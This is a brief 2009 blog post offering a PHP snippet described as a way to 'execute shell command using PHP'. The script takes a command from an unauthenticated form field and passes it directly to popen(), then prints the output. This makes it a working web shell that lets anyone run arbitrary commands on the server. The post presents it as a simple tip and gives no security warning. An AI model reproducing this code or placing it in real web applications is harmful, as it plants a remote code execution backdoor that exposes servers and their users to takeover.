Friday, June 26, 2009

Execute Shell Command using PHP

We know that PHP is a great server side programming languange. This time I wanna share my little knowledge about how to execute shell command using PHP. Here is the script :

<form method=post>
<input name=cmd>
</form>
<pre>
<?
$cmd=$_POST['cmd'];
if(isset($cmd) && $cmd !==""){
$handle = popen($cmd, 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);
}
?>

No comments:

Post a Comment